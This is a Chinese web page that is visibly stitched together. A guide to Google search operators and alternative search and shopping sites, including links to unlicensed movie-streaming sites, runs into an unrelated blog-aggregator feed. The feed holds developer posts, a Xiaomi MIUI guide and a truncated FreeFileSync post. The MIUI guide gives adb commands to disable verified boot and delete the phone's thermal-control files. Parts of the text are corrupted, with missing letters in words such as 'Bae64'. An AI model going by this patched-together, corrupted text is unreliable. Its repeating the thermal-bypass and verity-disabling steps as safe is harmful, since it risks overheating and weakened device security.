site:（英文冒号后面没有空格） - 搜索某个网站，例如：电报 site:tingtalk.me
- 将搜索结果限制为特定的域名类型，例如：碳排放 site:.gov
搜索通配符或未知字词
- 在字词或短语中您要放置占位符的地方加上
* - 例如：最*的电影
指定文件类型
- 例如：年终总结 filetype:ppt、特斯拉 研究报告 filetype:pdf
filetype:后面支持以下格式- ps
- dwf
- kml / kmz
- xls
- ppt
- doc
- rtf
- swf
搜索社交账号
加一个小老鼠，例如 @tingtalk
查公司
Similar Words（相似搜索）
- The tilde symbol
~includes similar words in your search results. - 例如：~food ~store
语音搜索
- 查询时间：What time is it in New York?（纽约现在是几点？）
- 翻译字词或短语：How do you say cucumber in French?（黄瓜用法语怎么说？）
- 查询词义：What does gluttony mean?（define gluttony；饕餮是什么意思？）
- 单位换算：What's 16 centimeters in inches?（16 盎司等于多少磅？）
关联阅读
- 举报网络垃圾、付费链接或恶意软件 - Search Console 帮助
- 公开数据集搜索引擎 by Google
- Google 搜索帮助
- Google 搜索的运作方式（How Google Search works）：你每次进行搜索时，都会在搜索结果中看到成千上万个含有实用信息的网页，有时甚至是数百万个。早在你输入搜索内容之前，Google 就已开始算计要显示哪些结果，并秉持向你提供最佳信息的承诺（反观百度）。
- 写在谷歌退出中国的第十个年头 - TSBBLOG
- 最详细的 Google 搜索指令大全 - 黑科技娃娃
- 15 个提高 Google 搜索效率的小技巧 - 子不语Rex
- Google Search Operators: The Complete List (42 Advanced Operators) by Joshua Hardwick
- 40+ Google Search Hacks, Tricks & Tips for 2020 - Christian Eilers
备选搜索引擎
但是中文互联网的信息散落在各处，各自筑起了高墙，互相屏蔽，所以在 Google 找不到答案，试试以下平台：
站内搜索引擎
通用搜索引擎
- Metaphor：Search the internet with prompts 链接源搜索引擎
- Bing 国际版
- Magi：基于机器学习的信息抽取和检索系统，提供可解析、可检索、可溯源的知识体系。
- Wolfram Alpha：直接向用户返回答案，而不是像传统搜寻引擎一样提供一系列可能含有用户所需答案的相关网页。
- 夸克 App：排版舒适
- 简单搜索 App：没有广告的百度
- 搜信源：帮助用户以最短的时间直达权威信源，更高效地判断和使用公开信息。
医疗搜索
身体上的问题，可以问 丁香医生。
- 关注
丁香医生的微信公众号 - 轻触右上角的
···查看历史文章 - 轻触 🔍，输入关键词，例如
感冒，即可搜索对应的历史文章
更多「养生」知识，参阅 除了健康，都是小事。
图片搜索
Google 图片
- 免费可商用的图片
- 输入关键词后，依次选择
工具（Tools）-使用权限（Usage rights）： 标记为允许在修改后再利用（Labeled for reuse with modification）
- 输入关键词后，依次选择
- 搜索精确尺寸的图片
- 在查找的字词后面，添加
imagesize:<宽度>x<高度>，例如：luffy imagesize:7680x4320 x是小写字母，不是乘号×- 以像素为单位
- 在查找的字词后面，添加
- 透明背景的图片（免扣的 PNG 格式）
工具（Tools）-颜色（Color）：透明（Transparent）
- 以图搜图
- 利用这个功能，寻找更高清的图片
- 更多图片格式
- 在关键词后加入
filetype:PNG。png 可以换成 JPG、GIF、BMP、SVG、WEBP、ICO、RAW 等。 - 来源：超级搜索技术，普通人变强的唯一外挂 | 全套宝藏实操秘技 - 哔哩哔哩（bilibili）
- 在关键词后加入
访问 Google 高级图片搜索，自定义以下条件，可缩小搜索结果范围：
- 关键词：“完全匹配” 、包含（OR）、不包含（-）
- 宽高比：竖版、正方、横版、超大
- 图片颜色：透明（PNG）、黑白、特定颜色……
- 文件类型：GIF、SVG（适量）、JPG……
- 使用权限：知识共享许可（CC0）、商业许可……
- 安全搜索：是否包含露骨色情内容
- ……
Unsplash
- 无需登录即可下载如免费可商用的图片。
- 只支持英文，胜在图片质量高。
Pixabay
- 大而全的免费可商用的图片。
- 可搜索矢量图。
- 支持中文。
电影搜索
找电影
- Google 搜索：美丽人生 类似电影
- 豆瓣电影 Top 250 配合 油猴脚本
下电影
在线看电影
- 在线之家
- 低端影视
- 荐片播放器
- 号称专治迅雷被封链接
- 免费高清视频：在线观看 & 可下载
- 点击下载 Windows 电脑版
- 点击下载 Android 手机版
- 茶杯狐 Cupfox：搜索结果提供在线观看网址
- BTFILM：搜索结果提供国内视频网站的在线播放资源（但是任何国内的资源都可能有删减）
选购搜索
理智看待评分，适合大众的，不一定适合你。
- 亚马跌：一个选购参考网站，收集商品资讯，发表基于可信资料的意见。
- 剔除营销词汇，展示核心信息。
- 避开诋毁和吹捧，拒绝叫卖和流言。
- 不接受原生广告（软文），CPS 返利 和横幅广告是主要收入来源。
- 放心选：万物测评，理性消费；推荐使用「放心选」的微信小程序。
- 老爸评测：发现生活中看不见的危害，让孩子远离有毒有害物质。
- 消费者报道：专注于消费品及服务比较测试的媒体。
- 消费明鉴：「货比三家」领域的百科全书。
- 盖得排行：看品牌的美誉度；App 内置吃喝玩乐地图。
- 町芒：目前主要做食品方面的评测。如何通过关键词搜索相应的文章：
- 进入「町芒」的微信公众号（
dingmang2018），点击右上角的三个点 💬，即可看到搜索 🔍 入口。 - Google 搜索：
某个食品 + 町芒
- 进入「町芒」的微信公众号（
- 企鹅吃喝指南：微信公众号 ID
qiechihe，找遍来自全世界的好东西，和你分享吃得到、喝得出的快乐。
数码产品
- 何时买苹果：一个微信小程序，用理性的价格、挑正确的时间、在恰当的地点，选择合适自己的苹果产品。
- MacRumors Buyer's Guide：This page provides a product summary for each Apple model. The intent is to provide our best recommendations regarding current product cycles, and to provide a summary of currently available rumors for each model.
- Versus：设计精美、全能的对比工具。除了对手机、相机、吸尘机等数码类的电子产品和生活用品进行对比，Versus 可以对比不同的国家、城市、大学在环境、人口、文化等方面的差异，在选择旅游目的地、规划旅行的时候会很有用。
- Hotspot 3D：手机 3D 模型对比
- RTINGS：如果你想从实际的需求和场景出发，找到一副适合自己的耳机、一台电视或者显示器，RTINGS 就可以帮你。
- 路由器交流：家用无线路由器评测。
- 小米商城：米家的产品，直男的选择。
电视
- 电视尺寸 = 观看距离 / 1.6（注：单位都是英寸，1 米大约等于 40 英寸）
- 最佳观赏距离计算器（TV Size to Distance Calculator）
- 华为智慧屏、索尼和三星 65 英寸电视（￥6599 至 ￥6999）横评 - 先看评测
苹果产品
笔记本电脑
- 微信搜索公众号「笔吧评测室」（ID：bibacps），查看历史文章「小白必看：笔记本电脑选购指南」。
- Laptop Buying Guide Tool - Notebookcheck：找出符合自己需求的笔记本。
京价保
作为京东优质老客户，这个价保工具（浏览器插件）为我省了不少钱。
- 官方网站：jjb.im
- 价格保护：全天候监控价格变化，降价自动价保
- 自动签到：支持京东会员、京东金融、京东支付
- 价格走势图：监控商品价格历史，了解价格走势
- 关联阅读：装上这款 Chrome 插件，去京东购物不用担心「刚买就降价」了 - 少数派
其他搜索
数字生活
- AppSo：
- 是一个让手机更好用的数字生活社区。它让所有人轻松发现优秀（颜值高、功能好）的移动互联网产品，你还能了解到有关智能手机、个人电脑等科技产品的使用技巧，从此拥抱更有品质更优雅的数字生活。
- 遇到数字生活上的疑虑，我会在 AppSo（ID：appsolution）微信公众号的历史文章中搜搜看。
- 少数派：高效工作，品质生活。
- Topbook：高效生活视频书。
其他领域
主动提问
在互联网上找不到想要信息时，可以尝试在 知乎 或者 Quora 上提问。
让我们善用互联网，成为合格的「数字公民」。
信息素养
英文翻译是 Information literacy。
大胆假设，小心求证，实事求是。
标明来源
如果讨论的事实本身是错的，得出的结论也就站不住脚。
- 🤐没有信源：只注明「有关专家表明」而不给出信源。请勿传播此类无法考证的文章。
- 🤔一个信源：查看此信源是否可靠。多看来自知名英文媒体，但也要辩证看待。
- 😍多个信源：对于涉及重大公共利益的新闻，若要认定这个事实，至少需要两个独立的消息源互为验证（交叉验证）。注意，第一个信源提供的第二个信源，不构成独立信源。否则，只是消息或观点，而不是事实。
使用逻辑
包含关系
不要以点代面（以偏概全）去阐述观点，那是思维偷懒的表现：
- 因为：他欺骗了
- 然而：他是男人
- 所以：男人都是骗子
超集的定义才适用于子集：
- 因为：张三是中国人
- 然而：中国位于地球
- 所以：张三是地球人
幸存者偏差
因为死人不会说话（不能从由死者／淘汰者／离场者获得信息），当信息仅来自幸存者（成功者）时，得出的结论就会与实际情况大相径庭。兼听则明，偏信则暗，不要「只看贼吃肉，不看贼挨揍。」
视频讲解：成功学有用吗？幸存者偏差，一个活着就该明白的事 - 李永乐
不含情绪
新闻只提供事实，没有情绪，所以，远离标题党和充满感叹号的文章，珍惜有限的生命时间。
为什么聪明的人也相信假消息
在疫情之中，一些接受过高等教育的人也在传播假消息对阴谋论深信不疑。这种现象背后的原因科学家也在研究。我们每天都被各种信息轰炸，因此我们经常依靠直觉来判断信息是否真实。虚假新闻的传播者往往通过一些简单的技巧让信息感觉“真实”，阻碍了我们运用批判性思维核实消息来源的真实性。如一篇论文的作者所说：“当思想流畅的时候，人们会跟着点头。”澳大利亚国立大学的纽曼（Eryn Newman）证明，在一篇文章旁配上一幅图片，会增加人们对其准确性的信任，即使这幅图片与文章内容无关。比如，一张病毒的普通图片与一种新治疗方法的文字同时出现，图片并不能证明文章本身，但是它帮助人们可视化一般情况。我们将这种“处理流畅性”视为说法正确的标志。出于类似的原因，虚假信息还常采用描述性的语言或生动的个人故事，提供足够多的熟悉事件或数字，比如提到一个公认的医疗机构的名字，从而使它与我们之前的知识联系在一起，让人感觉信息是令人信服的。即使是简单地重复一句话，无论是同一段文字，还是多条信息，都可以通过增加熟悉感来增加“真实性”，而人们会把这种熟悉感，误认为是事件的真实性。因此，我们在新闻推送中看到的东西越多，就越有可能认为这是真实的，即使最初持怀疑态度。
这是一个混乱分裂的数字时代，愿你可以快读找到想要的信息。
- 在您要排除的字词前加上
- 博客 轶哥博客 2019-03-10 20:22:39<>MediaDevice 为浏览器控制音频输入设备、音频输出设备、视频输入设备提供了接口。
- 博客 Jiajun的编程随想 2019-03-06 08:00:00《读《稀缺》》稀缺能为人们带来收益(专注红利)，但同时也有坏处(管窥)。- deadline是第一生产力...
- 博客 Jiajun的编程随想 2019-03-03 08:00:00《读《影响力》》感叹：销售套路深。- “一分钱一分货”：其实是假的，人们对不了解的东西就会觉得一分钱一分货，实际上并不是如此，有很多智商税，例如钻石...
- 博客 Jiajun的编程随想 2019-03-01 08:00:00《读《自控力》》自控力，是指我们能否自我控制。很多事情都需要这种力量，例如：- 节食减肥...
- 博客 Jiajun的编程随想 2019-02-27 08:00:00《Containerd简明教程》最近在玩这个玩意儿，准备在此之上开发自己的容器编排系统 [huang](https://github.com/jiajunhuang/huang)。这里简单看一下containerd的使用。containerd是从Docker分离出来的一个用于容器、镜像增删改查的程序，这是它的架构图...
- 博客 Jiajun的编程随想 2019-02-26 08:00:00《软件设计套路之推拉模式》推、拉是两种常见的数据分发模式。以微博为例：- 推：发微博时，遍历所有关注者，写入数据到对应的关注者数据表里。好处是，读取时直接读取数据库即可，即用写入时间换取读取时间。坏处是...
- 博客 轶哥博客 2019-02-23 22:21:25<>部分业务中会碰到Bae64图片文本。<>例如：
- 微信JS-SDK - “拍照或从手机相册中选图接口”，wx.chooeImage与wx.requet结合获取Bae64数据。“获取本地图片接口”，wx.getLocalImgData返回Bae64数据。
- 微信小程序中，图片访问地址受到白名单限制，有可能采用ae64数据直接在接口返回。
- 某种读卡器获取到的图片数据以Bae64格式返回。
甚至某个微信接口在io中错误返回 ），那就需要推测图片类型。image/jg类型 - 博客 构建我的被动收入 2019-02-20 08:00:00记录开发HasOffer网站通过SEO提高网站流量的过程，也涉及一些media buy和affiliate以及国外用户使用coupon的介绍
- 博客 王子亭的博客 2019-01-31 01:00:00
今年我完成的业余项目确实非常少，勉强算下来也就只有 DeployBeta 的 0.4 版本和 Elecpass 的 v3 版本。
所以我今年得到的一个重要的教训就是 一次要专注于一个项目，同时尽快完成一个阶段性的可用版本，尽快发布。尤其是对于我来说，还有全职工作，业余时间并不多，如果不能尽快发布，获得一些反馈，就失去了继续完善的动力，而且会摊子越铺越大，一直无法发布。
在这一点上，DeployBeta 是一个反面的例子，持续了两年的时间，但也没到可以对外发布的标准。而 Elecpass 是一个正面的例子，在 2017 年 10 月，我花了半个月的时间就发布了两个版本，之后一年多的时间我自己一直在使用，然后在今年十一月集中花了一周的时间发布了 v3 版本（筛选框、布局优化、强化编辑功能、编译 Windows 版），这个项目大部分的时候都是「已发布」状态，而不是还有功能做到一半。
在 DeployBeta v4 版本的前夕我将 DeployBeta 开源了，在 v4 和后续的未发布版本中，我实现了 MySQL、Redis、MongoDB 三种数据库的支持、重写了基于 Etcd 的 ORM。所以今年我也写了一些 Golang，今年我主要的怨念在于 Golang 中缺乏对于接口数组（或者说泛型数组）的支持，只能使用
interface{}和反射来实现 ORM 中「获取结果数组」的功能。这个 ORM 其实就是将 JSON 数据存储在 Etcd 中，同时提供关系和事务的简单封装。这其实和 Kubernetes 中的 api-server 做的事情差不多，但因为没有找到比较好的关于 Kubernetes 使用 Etcd 的文档，所以我没有太多地参考它。
为什么容器平台能够简化容器的管理工作呢？我认为一个重要的原因是容器平台提供了一种纯描述式的定义文件，让开发者去描述所期望的最终状态。这一点在 Kubernetes 中实现得最为彻底，我相信这也是 Kubernetes 成功的原因之一。
今年因为工作的原因，我非常深度地接触了 Kubernetes，在其基础上进行封装，来提供容器服务。Kubernetes 不仅仅是一个工具，同时也是一个平台，它以 RESTFul 风格的 API 将所有功能抽象为资源，然后由每种资源的 Controller 去将对象的实际状态同步到预期的状态。这意味着在 Kubernetes 的基础上你可以去添加自定义的资源和相应的 Controller 去拓展它的功能。
在对 Dockerfile 的抽象能力忍无可忍之后，今年我用 Node.js 为 Dockerfile 实现了一个简易的 DSL，主要是将 Dockerfile 分为多个段落，然后在每个段落中结构化地保存指令数据，以便在对 Dockerfile 的整个处理过程中随时向任何段落添加或修改指令，最后等到完成所有的处理之后再将结构化的指令数据生成真正的 Dockerfile。经过这样的过程生成的 Dockerfile 有着更规范的格式，更有利于跨应用甚至跨语言之间的缓存。
其实我们在生产环境使用容器技术已经很多年了，但很多时候只是将已有的程序跑在容器里而已，而没能做到 Container Native。例如我们实际上还有很多容器在依赖本地存储、没有有效的健康检查、不能正确地处理信号来实现平滑关闭。
我司今年发布了一个 游戏后端解决方案，它本质上是一个「消息转发服务」，帮助游戏的客户端之间来转发消息、同步状态。
但出于反作弊的需要，我们还需要提供一种在服务器端运行游戏逻辑的能力。对于暴露这种能力的方式，一开始我们内部有两种方案。我认为比较好的方案是将这种在服务器端运行的游戏逻辑也作为一个客户端去加入到消息服务中，以消息服务为中心与其他客户端进行交互。这样做的好处是：
- 在服务器和客户端之间复用大部分的游戏逻辑
- 单机游戏 => 动作同步 => 状态同步 的迁移过程非常平滑
- 服务器端的游戏逻辑和消息转发服务解耦
为了验证这个方案的可行性，我花了一些时间制作了一个 Demo，实现了一个 简单的回合制卡牌游戏，这种模式后来也被我司发布为了正式的产品：Client Engine。
在这个过程中我其实是第一次接触游戏后端的开发，其实我并没有去了解既有的游戏框架，但在不知不觉中也重新发明了一些轮子，例如「动作」和「状态」的概念，感觉去探索游戏的开发过程还是挺有意思的一键事情。
今年年初的时候我尝试为云引擎加上了 任务队列 的功能，因为云引擎本来已经有了基于 HTTP 的云函数功能，所以我想这个任务队列只提供一种调度的能力，而不提供计算资源，依然通过 HTTP 来调用原本的云函数。我认为这样的形式可以减少引入的新概念，降低介入的成本。
但低调公布之后的效果并不是很好，我觉得其中一个原因是是我自己就比较少用任务队列，所以比较难站在用户的角度去考虑他们需要任务队列有怎样的功能、希望超时和并发的控制是怎样的。在新的一年里我还会继续改进这个功能，去参考其他类似的云服务如何设计任何队列的功能。
大概是因为我的服务器端编程经验都在 Node.js 上，Node.js 中异步任务的成本很低，所以不需要出于减少线程开销的考虑去使用任务队列；同时我会通过 Redis 来维护一些关键状态，消除单点、保证因应用重启而中断的任务可以恢复，所以也几乎不需要任务队列去保证任务执行的连续性。
在这个功能的实现上我重度地使用了 Redis：使用 Redis 存储所有的状态、提供一致性保证，用 Node.js 去实现 Worker，调用 Lua Script 去实现原子操作。说起来 Redis 是我用过最好的服务器端软件之一，我认为 Redis 找到了一个非常好的切入点、找准了自己的定位，才使得它的设计看起来那么简单。
应该说任务队列的需求是非常多样化的，每种业务可能都会对任务队列有不同的需求，再加上很大程度上又是语言相关的，所以我觉得在这个方面如果能做一些开源项目也会有比较大的空间，例如我就觉得 Redis 5 中的 Stream 类型就是为任务队列设计的，想去写一个充分利用 Stream 特性的任务队列。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-01-30 13:21:23
众所周知，小米安卓（Android）手机 MIUI 系统有个很狗血的特点：温控！
核总(https://lcx.cc/)用小米手机也很多年了，温控也关注过不少，网上一堆垃圾内容误导新手跳坑走弯路，所以核总在这里进行详细完整的讲解下。
注意！文中所有涉及到的文件、工具、驱动等资料，文章末尾都有下载。
何谓“温控”？
温控全称为手机温度控制，即小米安卓手机的一项系统核心功能，当你手机温度超过一定范围时，CPU 将自动锁核（多核只能用单核）、限制最高频率，So，你的手机突然就会卡成幻灯片，在充电、玩游戏时尤为明显，分分钟想砸了手机……
小米的部分型号十分明显：小米 5s、小米 6 等，MIUI 论坛骂声一片，最早还可以在MIUI 9 开发版系统设置中自行选择是否启用温控（省电策略、性能模式、游戏模式），后来更新到 MIUI 10 直接取消了选择权，So……
于是米粉们纷纷捣鼓出了例如“温控拜拜”、“内核调校”之类的 APP 删温控配置文件或者修改参数，MIUI 9 系统运行良好，后来 MIUI 10 出来后很多不支持了，再后来小米论坛有大神捣鼓出了修改版的温控配置文件，完美解决了该问题。
什么是温控配置文件？
小米的 MIUI 系统核心温控功能实际上是依靠几个主要配置文件，规定了温度范围、如何限制核心数、频率的控制策略等（罪魁祸首），主要在安卓系统中以下路径：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19# Bin 文件 /system/vendor/bin/thermal-engine -rwxr-xr-x 1 root shell 6731600 2009-01-01 00:00 # 标准模式 /system/vendor/etc/thermal-engine-8996.conf -rw-r--r-- 1 root root 3744 2009-01-01 00:00 # 游戏模式 /system/vendor/etc/thermal-engine-8996-game.conf -rw-r--r-- 1 root root 3376 2009-01-01 00:00 # 性能模式 /system/vendor/etc/thermal-engine-8996-high.conf -rw-r--r-- 1 root root 3200 2009-01-01 00:00 # ？？模式 /system/vendor/etc/thermal-engine-8996-map.conf -rw-r--r-- 1 root root 176 2009-01-01 00:00注意！这里以 MIUI 10 系统为例，根据系统版本不同，文件位置略有不同！
操作及删除之前记得备份！！！记得备份！！！记得备份！！！
其实不备份也行，反正每次 MIUI 系统升级后，这些文件又会再回来，因为小米系统是全覆盖式更新，无论你对系统做了什么修改，每次更新之后都会完全恢复…… -_-!!!
小提示，如果以后系统升级后温控文件位置发生变化，可以通过以下系统命令查找温控文件位置：
1find /system -name "thermal-engine*"前提条件
在修改温控文件、解除温控限制之前，请确保你手机已经具备以下条件，否则底下内容就不用看了，因为权限不够无法操作……
- 手机必须解锁 BL（BootLoader），否则没有 root 权限无法操作！
- 解锁 system 分区，不然无法操作 system 目录文件。
- 打开开发者模式并开启 USB 调试。
- 将手机连接到电脑，并装好驱动程序和相应工具。
1.解锁 BL（BootLoader）
官网有提供解锁教程和方法，而且刷成开发版自带 root 权限，具体的去看官网论坛。
2.解锁 system 分区
★ 警告 ★
系统 system 分区解锁后如果修改了 system 目录的文件，就不能再上锁（只有使用原版系统文件才能上锁），否则无法通过开机文件校验！！！
但是下次手机更新后会自动恢复所有系统文件并自动上锁！所以无需担心！系统更新后再次修改温控，需要重复以下的方法关闭就行了。
因为 MIUI 系统开启了安卓的系统文件校验，也就是所谓的“system 锁”，如果不关闭这个系统文件校验，那么刷入第三方 RE 或者修改 system 分区文件会导致无法通过开机文件校验（俗称卡米）。
因为咱们要修改 system 分区的温控配置文件，所以必须解锁。
推荐使用命令解锁（安全、便捷、高效）：
1 2 3 4 5 6 7 8 9 10 11# 解锁命令 adb root adb disable-verity adb reboot # 重新上锁 # ★ 警告 ★ # ★ 如果修改了 system 目录的文件，就不能再上锁，否则无法通过开机文件校验！ ★ adb root adb enable-verity adb reboot或者“system 分区一键解锁、上锁.apk”、“NFC Emulator”等来路不明的第三方应用，需要 root 权限，不推荐、不安全！
底下实际操作中有详细说明。
3.开启 USB 调试
首先进入系统设置，找到系统版本、全部参数（各个系统版本不太一样），最后点几下 MIUI 版本就会进入开发者模式。
然后在系统设置>更多设置>开发者模式，打开开发者选项和 USB 调试。
4.安装驱动和工具
驱动程序主要为 ADB Interface 驱动。
可以使用小米手机助手或任何其他安卓手机助手（都自带），或者：
核总推荐使用：360驱动大师、Universal Adb Driver
工具软件只需要 Platform-Tools 中的 adb.exe（安卓官方调试工具），此乃极客、刷机、折腾的必备工具！
一直以来，刷机爱好者折腾 Android 系统使用的 adb / fastboot 都来自两个渠道：别人提供的（来源不明）、安装十分庞大的 Android Studio，从来没有一个官方的、可靠的独立 adb / fastboot 工具包，现在终于有了！
Google 谷歌官方提供了 Windows、macOS 以及 Linux 下的工具包的直接下载地址：
1 2 3https://dl.google.com/android/repository/platform-tools-latest-darwin.zip https://dl.google.com/android/repository/platform-tools-latest-linux.zip https://dl.google.com/android/repository/platform-tools-latest-windows.zip从此地址下载的 Platform-Tools 工具包将永远是最新版本。
操作方案
以 MIUI 10 版本为例，其他版本大同小异。
1、删除刚才说的这几个温控配置文件（建议备份）：
1 2 3 4 5/system/vendor/bin/thermal-engine /system/vendor/etc/thermal-engine-8996.conf /system/vendor/etc/thermal-engine-8996-game.conf /system/vendor/etc/thermal-engine-8996-high.conf /system/vendor/etc/thermal-engine-8996-map.conf2、复制 MIUI 论坛大佬修改过的温控文件到：
1/system/vendor/etc/thermal-engine-8996.conf3、最后手动重启，完事，四核火力全开温度不热。
此温控配置方案可以解决任何顽固温控，火力全开不锁核，并且发热可控不烧机（小米公司一堆工程猪连个发热都解决不好，只会降频、锁核~），并且只要 MIUI 系统没有很大结构性更新，就永久有效！
需要注意的是，上边说过小米系统更新后所有修改都会恢复，所以每次系统更新完还需要再修改一次！
操作流程
核总(https://lcx.cc/)用的方案不依赖任何第三方应用，简单安全高效！
以下为全命令操作流程：
1、首先使用 adb.exe 解锁 system 分区：
注意！仅刷机或系统更新后首次需要解锁！如果已经解锁过则直接第 2 步！
★ 警告！system 分区解锁后如果修改了 system 目录的文件，就不能再上锁，否则无法通过开机文件校验！ ★
1 2 3 4 5 6 7 8# 提升为 root 权限 adb root # 解锁 system 分区（重新启动后生效） adb disable-verity # 重启 adb reboot2、等待重启开机后，先开启 root 权限：
1adb root3、然后挂载 system 目录为读写权限（可以在 adb shell 中查看分区挂载状态：
mount | grep 'system'）提示：如果部分机型无效的话，可以参考底下的：几种挂载方法
1adb shell mount -o rw,remount -t auto /system4、然后备份或直接删除原版温控配置文件（反正系统更新后又会回来）：
1 2 3 4 5 6 7 8 9 10 11 12 13# 备份 adb shell mv /system/vendor/bin/thermal-engine /system/vendor/bin/thermal-engine.bak adb shell mv /system/vendor/etc/thermal-engine-8996-game.conf /system/vendor/etc/thermal-engine-8996-game.conf.bak adb shell mv /system/vendor/etc/thermal-engine-8996-high.conf /system/vendor/etc/thermal-engine-8996-high.conf.bak adb shell mv /system/vendor/etc/thermal-engine-8996-map.conf /system/vendor/etc/thermal-engine-8996-map.conf.bak adb shell mv /system/vendor/etc/thermal-engine-8996.conf /system/vendor/etc/thermal-engine-8996.conf.bak # 或者直接删除 adb shell rm -f /system/vendor/bin/thermal-engine adb shell rm -f /system/vendor/etc/thermal-engine-8996-game.conf adb shell rm -f /system/vendor/etc/thermal-engine-8996-high.conf adb shell rm -f /system/vendor/etc/thermal-engine-8996-map.conf adb shell rm -f /system/vendor/etc/thermal-engine-8996.conf5、复制修改过的温控文件到系统 system 目录（文章末尾有下载）：
注意！操作 system 目录需要 adb root 权限！（前边已开启）
1adb push "C:\电脑本机路径\thermal-engine-8996.conf" /system/vendor/etc/thermal-engine-8996.conf6、恢复 system 权限为 read only：
这一步为可选操作，因为重启后无需操作会自动恢复，当然，如果不打算重启机子的话，最好还是将它恢复到 read only 状态。
1adb shell mount -o ro,remount -t auto /system7、最后重启手机即可：
1adb reboot8、关闭手机的 USB 调试及开发者模式，避免安全隐患。（具体见上边）
至此操作完成！尽情享受多核火力全开带来的快感吧！
参考资料
以下两个帖子，温控文件只有大核心温度频率控制区别，“逆天少之龙”的是：1747000，“刚刚不”的是：1516000，其它完全一样。
核总(https://lcx.cc/)发现其实是“刚刚不”抄袭的“逆天少之龙”配置文件（互相有可能认识的），而且这两位也是一知半解，讲得十分混乱，新手可能看的一脸懵逼……
- 小米82x机型温控完美解决，逆天少之龙 发表于 2018-8-17 19:17
- 小米5s改温控文件，刚刚不 发表于 2018-8-24 18:05
摘录原帖部分有用内容留存一下：
[教程] 小米82x机型温控完美解决
http://www.miui.com/thread-17542989-1-1.html
逆天少之龙 2018-8-17 19:17 | 来自小米手机5s |复制| |跳转
看到标题，大家觉得可能又是温控拜拜，内核调校等等，不！今天我教大家怎么用re文件管理器完美解决火龙温控与锁核与温度问题！
首先需要解锁bl（没有解锁不用看下去了），然后获取完整root权限，记住是完整权限！然后给re文件管理器root权限，接着找到下图文件夹
然后，将下面链接文件复制在上面删除三个文件的文件夹里，然后关机重启就行，最后附上链接
链接:https://pan.baidu.com/s/1T8r93oV7oBqe6p_eLwL-TQ 密码:81vv（已失效）
亲测温度低了许多，永远不锁核，续航提升不少，下面附图
效果用事实说话
楼主| 2018-9-19 20:59 | 来自小米手机5s |
重新分享链接在这里链接:https://pan.baidu.com/s/1R0SfRBcDd5CtCrwSdQDRgw 密码:qr3o
[教程] 小米5s改温控文件
http://www.miui.com/thread-17712899-1-1.html
刚刚不 2018-8-24 18:05 | 来自小米手机5s |复制| |跳转
首先手机要root ，下载re文件管理器，system解锁工具，下载好给root权限，打开system解锁（手机会重启），
打开re浏览器，在左边的根目录找到system文件夹点开，找到etc文件夹点开，找到thermal-engine-8996-high.conf thermal-engine-8996-map.conf thermal-engine-8996.conf这三个文件（都在一起的）把它删除，
然后把下载的温控文件复制过去到这个文件夹，然后回到根目录找到vendor点开找到thermal-engine把他删除。
然后手动重启，完事，四核全开温度不热。
链接:https://pan.baidu.com/s/1qtDSBK4kljjsCKV9H9uUlQ 密码:y1tl 温控文件
链接:https://pan.baidu.com/s/1Qsue8v3vKrC8GywMgR8YgA 密码:71vl re浏览器
链接:https://pan.baidu.com/s/1S_P4kDyCCq_MLPYV7Akv5g 密码:3ip9 system解锁
几种挂载方法
使用 mount 挂载 system 目录为读写权限。
1、获取 system 分区当前全名和权限
1 2 3 4 5 6 7 8mount | grep 'system' # 或者 cat /proc/partitions # 说明 ro = read only（只读） rw = read write（读写）2、重新挂载 system 为读写权限
1 2 3 4 5 6 7 8 9# 参数“/dev/block/sde39”为第一步返回结果 # 注意！每个手机不一样！解锁前后也不一样！每次操作前都要查看！！！ mount -o remount,rw /dev/block/sde39 /system # 如果提示：mount: '/system' not in /proc/mounts，使用底下命令（推荐）： mount -o rw,remount -t auto /system # 或者（linux系统自己会去维护一个已经mount的表.所以只需要输入现有的挂载点就行啦） mount -o remount,rw /system3、重新查看、验证 system 权限
1mount | grep 'system'4、恢复 system 权限为 read only（只读）（或者重启后无需操作会自动恢复，当然，如果不打算重启机子的话，最好还是将它恢复到 read only 状态）
1 2 3 4 5 6 7 8 9# 参数“/dev/block/dm-0”为第一步返回结果 # 注意！每个手机不一样！解锁前后也不一样！每次操作前都要查看！！！ mount -o remount,ro /dev/block/dm-0 /system # 如果提示：mount: '/system' not in /proc/mounts，使用底下命令（推荐）： mount -o ro,remount -t auto /system # 或者（linux系统自己会去维护一个已经mount的表.所以只需要输入现有的挂载点就行啦） mount -o remount,ro /system相关下载
- 博客 Jiajun的编程随想 2019-01-30 08:00:00《记一次Golang TLS编程踩坑》最近在写一个HTTP/2代理，一开始使用h2c玩的好好的，结果往测试环境发布，因为跨了公网，因此要加证书，踩了一个坑。发起连接的客户端代码...
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-01-28 14:49:26
FreeFileSync (官网: https://freefilesync.org/) 是一款免费、开源的文件夹比较和同步软件，跨平台、多协议、双向文件夹对比同步工具，支持 Google Driver、SFTP(SSH)、FTP 等协议，十分好用，支持 Windows、Linux、Mac OS X，它也适用于64位操作系统。
程序安装默认可选择一个标准的安装程序或作为一个便携式应用程序。采用一个干净、简单、直观的界面，以同步为目标，提供了多种功能。
核总(https:/lcx.cc/)曾经在“全球几款免费的文件对比同步工具简单测评”一文中对该工具做过简单介绍。
核总用这个软件也有好几年了，官方虽然说有便携版功能（无需安装、即开即用），但是限定了只有捐赠版才有，你懂的，要银子~
注意！这是个免费开源软件！为了软件的持续发展，还是希望有钱的大佬购买捐赠版！
如果您发现FreeFileSync很有用，请考虑通过捐赠来支持该项目。
您的捐款将资助新功能的开发，并有助于保持持续的计划维护。这可确保FreeFileSync保持最新，并始终在不断变化的硬件和软件上提供最佳性能。
支持该项目：https://freefilesync.org/donate.php
然而像核总(https:/lcx.cc/)这种穷逼怎么可能买得起捐赠版……
So……
泽东同志说得好，自己动手、丰衣足食~
于是核总(https:/lcx.cc/)对软件研究了一番，主要想实现以下几个功能：
- 绿色便携版功能
- 禁止强制自动更新
（只有捐赠版才能选择是否自动更新，普通版无论选什么都是强制更新，很烦人）
便携版
首先便携版功能比较好实现，官方普通版直接随便安装到一个路径，然后把安装好的文件打包就可以了，也就是说官方程序默认支持不安装运行，也没有注册表依赖什么的，无需进行修改。
文件结构
